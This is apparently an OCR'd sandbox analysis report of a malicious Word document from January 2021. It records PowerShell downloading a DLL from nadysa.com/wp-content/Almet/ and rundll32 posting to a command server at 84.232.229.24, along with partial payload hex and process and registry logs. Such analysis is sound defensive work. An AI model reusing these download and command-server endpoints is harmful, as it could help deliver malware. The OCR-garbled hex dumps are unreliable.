Jan 25, 2021 11:20:44.006046057 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006067038 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006088018 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006113052 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006129980 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006150961 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006170988 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006186008 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006186962 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.006206036 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006222963 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006226063 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.006242990 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.006243944 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006269932 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.006302118 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.147989988 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148052931 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148087978 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148104906 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148144007 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148183107 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148344994 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.148384094 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.148391008 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.148873091 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148929119 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148960114 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.148986101 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149024963 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.149025917 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149066925 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149091005 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.149106026 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149143934 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149168968 CET 80 49165 217.144.106.11 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 25, 2021 11:20:44.149174929 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.149215937 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149246931 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149283886 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149286985 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.149311066 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149348021 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149350882 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.149425030 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149481058 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149496078 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.149511099 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.149548054 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.149549961 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.150108099 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.150913000 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.150950909 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.150991917 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.151057959 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.151123047 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.291057110 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.291121006 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.291148901 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.291186094 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.291325092 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.291904926 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.291934967 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.291973114 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.291985989 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292011976 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292047024 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292059898 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292068005 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292103052 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292119026 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292129993 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292155981 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292170048 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292207956 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292232037 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292264938 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292484045 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292807102 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292831898 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292857885 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292896032 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292932034 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292958975 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.292969942 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.292984009 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.293009043 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.293031931 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.293045044 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.293060064 CET 49165 80 192.168.2.22 217.144.106.11
Jan 25, 2021 11:20:44.293087006 CET 80 49165 217.144.106.11 192.168.2.22
Jan 25, 2021 11:20:44.293124914 CET 80 49165 217.144.106.11 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 25, 2021 11:20:43.660578966 CET 52197 53 192.168.2.22 8.8.8.8

Jan 25, 2021 11:20:43.692176104 CET 53 52197 8.8.8.8 192.168.2.22
DNS Queries
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 25, 2021 11:20:43.660578966 CET 192.168.2.22 8.8.8.8 0xfc39 Standard query  nadysa.com A (IP address) IN (0x0001)
(0)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 25, 2021 8.8.8.8 192.168.2.22 0xfc39 No error (0) nadysa.com 217.144.106.11 A (IP address) IN (0x0001)

11:20:43.692176104

CET

HTTP Request Dependency Graph

e nadysa.com

e 84.232.229.24

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.22 49165 217.144.106.11 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 25, 2021 0 ouT GET /wp-content/Almet/ HTTP/1.1
11:20:43.855108976 CET Host: nadysa.com
Connection: Keep-Alive
Jan 25, 2021 1 IN HTTP/1.1 200 OK
11:20:44.006011009 CET set-cookie: 600e9b7be6c9d=1611570043; expires=Mon, 25-Jan-2021 10:21:43 GMT; Max-Age=60; path=/

cache-control: no-cache, must-revalidate

pragma: no-cache

last-modified: Mon, 25 Jan 2021 10:20:43 GMT

expires: Mon, 25 Jan 2021 10:20:43 GMT

content-type: application/octet-stream

content-disposition: attachment; filename="FVuzZwepQsUwldyAWc.dIl"

content-transfer-encoding: binary

transfer-encoding: chunked

date: Mon, 25 Jan 2021 10:20:43 GMT

server: LiteSpeed

connection: Keep-Alive

Data Raw: 32 30 30 30 0d 0Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 89 46 Ob 60 00 00 00 00 00 00 00 00
€0 00 Oe 21 Ob 01 02 32 00 40 00 00 00 12 05 00 00 00 00 00 50 19 00 00 00 10 00 00 00 50 00 00 00 00 00 10 00 10 00
00 00 02 00 00 03 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 dO 05 00 00 04 00 00 a7 c7 05 00 02 00 00 00 00 00
10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 €8 60 00 00 64 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 05 00 58 15 00 00 00 cO 05 00 €0 03 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 ac 61 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00
00 00 9e 36 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74
61 00 00 57 00 00 00 00 50 00 00 00 02 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74
61 00 00 00 90 04 00 00 00 60 00 00 00 04 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74 65
78 74 34 00 00 9c 05 05 00 00 70 00 00 00 06 05 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74
65 78 74 38 00 00 64 00 00 00 00 80 05 00 00 02 00 00 00 48 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e
74 65 78 74 37 00 00 64 00 00 00 00 90 05 00 00 02 00 00 00 4a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40
2e 74 65 78 74 36 00 00 64 00 00 00 00 a0 05 00 00 02 00 00 00 4c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00
40 2e 74 65 78 74 35 00 00 64 00 00 00 00 b0 05 00 00 02 00 00 00 4e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00
00 40 2e 72 65 6¢ 6f 63 00 00 e0 03 00 00 00 cO 05 00 00 04 00 00 00 50 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$PELF'12@PP dTXa'.text68 ".rdataWP<@@.d
ata>@.text4pB@.text8dH @.text7dJ @.text6dL @.text5dN @.relocP@B

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49166 84.232.229.24 80 C:\Windows\SysWOW64\rundll32.exe
kBytes

Timestamp transferred Direction Data
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kBytes

Timestamp transferred Direction Data
Jan 25, 2021 435 ouT POST /v50s5eb3yu/ike5f/tm3n1kmbtr/xhcy92qsfj3ttmk7xna/nflksugOnonbgij/ HTTP/1.1
11:21:50.546128035 CET DNT: 0

Referer: 84.232.229.24/v50s5eb3yu/ikc5f/tm3nlkmbtr/xhcy92gsfj3ttmk7xna/nflksugOnonbqij/

Content-Type: multipart/form-data; boundary=- 9AYnZdeXqgkvtOn

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 84.232.229.24

Content-Length: 5972

Connection: Keep-Alive

Cache-Control: no-cache

Jan 25, 2021 443 IN HTTP/1.1 200 OK

11:21:50.998769999 CET Server: nginx
Date: Mon, 25 Jan 2021 10:21:50 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Data Raw: 66 66 34 0d Oa b6 db 56 64 a5 b6 al 89 67 d0 d9 bl ee 3a al 64 b3 71 5b fa 5d 39 e5 10 75 b3 4c 3c ¢7 15 83
84 0c 24 bd d8 11 42 74 1a 56 df a6 b0 99 36 49 73 c3 da 14 43 a0 41 67 33 16 f7 57 df bc 6d af b1 7 7e ec dd 30 f8 48 12
7331935 f0 8b 45 1a dd 26 1a a6 e3 56 f7 69 4b 7c ee 2a 99 bd 67 4d 38 ee 9f 31 6a 39 fe 94 ea aa 91 da da 4e bd 07
4d 7b 45 9f 56 12 6a al 8b 4d 5b 79 ee 3d 2d 43 f2 c8 a4 0d 93 3f 85 a8 2d 6e c6 49 53 06 09 b5 3c 8 3b 47 26 f7 66 83
65 ab 00 fa 53 37 08 4e 7c 48 78 a7 3d 89 da 2f b1 3d 5¢ 56 9c d4 94 60 2c 59 97 41 5d c8 35 1e be f2 3e 58 03 1d 2e ff
3186 1f 22 05 49 37 90 72 6b 68 02 42 15 63 1f c9 €3 76 18 ec 69 f4 €3 ed Oc 03 f5 0d 94 57 59 bc 58 e7 aa f0 50 5d 4a
14 aa 48 6b 62 46 55 5a a5 48 7f 43 37 2f c0 d5 b5 ad 7a 62 a3 40 84 a9 6d 9e 3a 7e 63 9d cb e7 45 fd f5 f4 c7 e4 94 68
4d 76 69 d6 0f d6 95 el c2 40 6¢ 8b da 99 c7 Ob fd 02 32 2¢c 9c d7 9b el 17 97 eb 29 ca bl e2 f4 34 4d 6¢ 8b 57 08 f4 8c
8e 94 a9 27 bb 1c fO ae 7f 83 ¢6 00 49 18 0d 30 7f af 50 a0 aa 9e 35 €3 9a f6 54 a7 49 16 7d 62 b1 9d 93 41 ff 2c ac 1e c2
8558 7c 75 bd 19 a5 9e cf fa 9a 2e e5 58 2f e3 a6 d4 8b cd 72 16 5 a6 51 ce 6a 66 dc €8 98 2f db 82 05 3e 8f cc d8 23 89
1c 56 93 ed bb 4e 60 bd fe af 07 8c dO 35 74 a4 b6 24 a5 11 69 e3 73 88 46 e3 7e 71 db ee 6d 39 60 be 87 68 a4 c0 09 6a
29 ab 26 37 2d ca 4d 44 a8 57 3e 20 c1 e3 18 cd ¢4 56 36 00 7d d7 ca 20 64 48 f6 be b2 d0 d8 ab b8 c2 bc fb fc 83 b7 3e
86 9f 4d 7b 46 6b aa f4 ec 05 {7 81 f6 24 d3 56 bd d7 f4 c6 12 dc 63 2e de fa 9e ¢9 9c 05 a7 6¢ 97 96 de c7 d3 9c 40 58 fO
c38d a2 17 00 df 4d 92 e5 85 50 d2 ba 11 ba df 91 ab 71 34 82 ea f3 3d b6 6f 59 f2 1d 03 72 02 ec 57 cf d0 40 f3 7e 6b 46
67 45 b1 50 e2 3b f6 4c €0 91 63 f3 70 €8 e7 7e 9e 56 4e 3b 68 6b 5a 58 4c dd 89 87 52 8e 01 2f 2d db 82 19 3c f5 Ob a4
05 6¢ 78 da 90 32 02 1a 51 c3 5¢ 81 ab 71 Oe 74 26 d6 5¢ d1 cd 6e 43 7f b3 c7 8¢ 10 cf 63 42 €9 7c 78 d6 93 3e bb aa ff
b2 3f de 97 bd 06 83 4f 20 Oc 20 a9 38 ef 3f f8 6b 6d 9e b4 a4 55 d1 90 cf 2f 5f 7c bc e0 cf 08 fd 82 2c e3 cd cb 0a 41 26 2f
86 70 2f Ob 26 d8 eb 7f 3e 9f 9e ea 4a 62 f5 16 9c c6 ce cf e9 45 e3 ca Oc e3 fb df 68 fb a8 88 15 3 42 58 5d 4b 32 62 c6
2e 40 96 84 b3 a0 c9 16 22 ed fe d7 03 1b 7f a2 b1 4c a6 f5 71 d3 38 89 fO 9¢ 34 26 c3 db c5 ff Oc a6 6d d0 c9 34 60 17 41
d7 eb bc 77 bf dO 72 4a ba 4f d5 15 el 9d 19 8b 55 bf 77 22 98 39 d1 57 0f cd 51 1e 6b a3 c8 bd 9e 82 37 0a 9c e0 52 5e
aa a7 12 f6 4aec 31 1d a4 13 64 e0 d4 40 da 71 57 9f 04 5¢ 80 4f 99 64 6a 84 a7 ee cf 7a a7 75 45 d5 4b f0 fe 7a 8d ba
58 c1 8f 38 b7 ee ce 30 56 fb d0 14 44 91 bd a8 db 97 e2 dc 53 3d 26 ac b4 3c dc e4 07 34 49 be 36 2a 21 d7 af 71 69 d4
73 ee 70 3c al 21 63 fa f7 Ob 6d 75 dc €8 12 b7 6f ba 98 d8 a2 93 79 71 74 6f 9e e2 2a 41 43 b6 4e 3e Oe 2a 8d a0 25 60
d7 6e 9a 3a 8e fd 55 f2 61 7a f3 d1 b8 05 96 fe cc f6 15 d8 08 81 01 10 10 58 51 a5 8c 94 6e 14 b9 c0 e9 e2 fb c1 33 5d
13 0f db bf af ¢7 84 e0 c6 13 78 c4 99 b7 63 97 7 6b ee a9 8d 98 5b 2c 4f d5 Ob 4b e0 Ob b5 25 88 02 ac 93 b5 29 62 0b ef
80 e4 d5 ab 42 b3 93 ef fe 85 32 7e dd b9 5f f2 ee dc ee fa fc 2f ¢9 08 bc 6e 10 1a 0a 19 a5 25 1b a9 29 2d c0 e4 02 bf a5
ae 8 3d 62 8d b0 50 a3 19 2c 59 c3 6b 31 98 c6 7f 5f 1f 3e f5 2d 97 71 2c 62 1a 8b c¢7 al 3f 5d 29 08 70 3c 67 5a 31 €6
60 86 36 83 8d 20 bb bf 38 8c 0a 33 ea 8a 4d 32 a4 08 5f ee 57 a2 41 a2 22 07 2d fa 3c 2a da 40 64 99 b3 66 29 9a 1f 55
Oe 76 7f 3b 44 30 3f 96 f9 8d 24 ac 11 5e e2 3e d9 2f d5 c0 99 88 fa 32 fd
Data Ascii: ff4Vdg:dq[]9uL<$BtV6IsCAg3Wm~0Hs1E&ViK|*gM81j9NM{EV|jM[y=-C?-nIS<;G&feS7N|Hx=/=\V",YA]5>X
.1"17rkhBeviWY XPJIHKbFUZHC7/zb@m:~cEhMVi@I2,)4MIW'I0P5TI}bA X|u. X/rQjf/>#VN 5t$isF~gm9°hj)&7-MDW> V6}
dH>M{Fk$Vc.l@XMPg4=0YrW@~kFgEP;Lcp~VN;hkZXLR/-<Ix2Q\qt&\nCcB|x>?0 8?kmU/_|,A&/p/&>IbEhBX]K2b.@"Lq
84&m4 AwrJOUW"9WQk7RMN1d@qW\OdjzuEKzX80VDS=&<416*!gisp<!cmuoygto*ACN>*%"n:UazXQn3]xck[,0K%
)bB2~_/n%)-=bP,Yk1_>-q,b?])p<gZ1'6 83M2_WA"-<*@df)Uv;D0?$">/2

Code Manipulations

Statistics

Behavior

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

© rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundl32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
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@ rundll32.exe
@ rundll32.exe

System Behavior

Click to jump to process

Analysis Process: WINWORD.EXE PID: 2416 Parent PID: 584

General

Start time: 11:20:33

Start date: 25/01/2021

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
Imagebase: 0x13f5a0000

File size: 1424032 bytes

MDS5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE91826B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DF56BE524264A8A852. TMP success or wait 1 7FEE90A9ACO unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
File Read
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File Path

C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

Registry Activities

Key Created

Key Path
HKEY_CURRENT_USER\Software\Microsoft\VBA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F6E6C

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F6E6C

Copyright null 2021

Name

Cambria Math

Tahoma

FGEGC

Type

binary

binary

binary

Offset Length Completion

unknown 1 success or wait

unknown 4096 success or wait
Completion Count

success or wait
success or wait
success or wait
success or wait

success or wait

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 70 09 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
07 21 11 42 4F F3 D6 01 6C 6E OF 00
6C 6E OF 00 00 00 00 00 DB 04 00 00
02 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

success or wait

success or wait

P R R R R R R

Completion

success or wait

success or wait

success or wait

Source
Count Address Symbol

1 7FEESE5EC53 ReadFile

1 7FEESE66CAC ReadFile

Source
Address

7FEEQ0BE72B
7FEEQ0BE72B
7FEEQ0BE72B
7FEE90AQACO
7FEE90AQACO
7FEE90AQACO
7FEE90AQACO

Symbol
RegCreateKeyExA
RegCreateKeyExA
RegCreateKeyExA
unknown

unknown

unknown

unknown

Source
Count Address Symbol

1 7FEE90A9ACO unknown

1 7FEE90A9ACO unknown

1 7FEE90A9ACO unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F6E6C

Copyright null 2021

Name

ProductFiles

ProductFiles

FGEGC

Type

dword

dword

binary

Name

00 00 00 00 00 00 00 00 00 00 00 00

Source

Type BfafP 00 00 00 00 00 00 00 00 00 00 Completion Count Address Symbol

00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
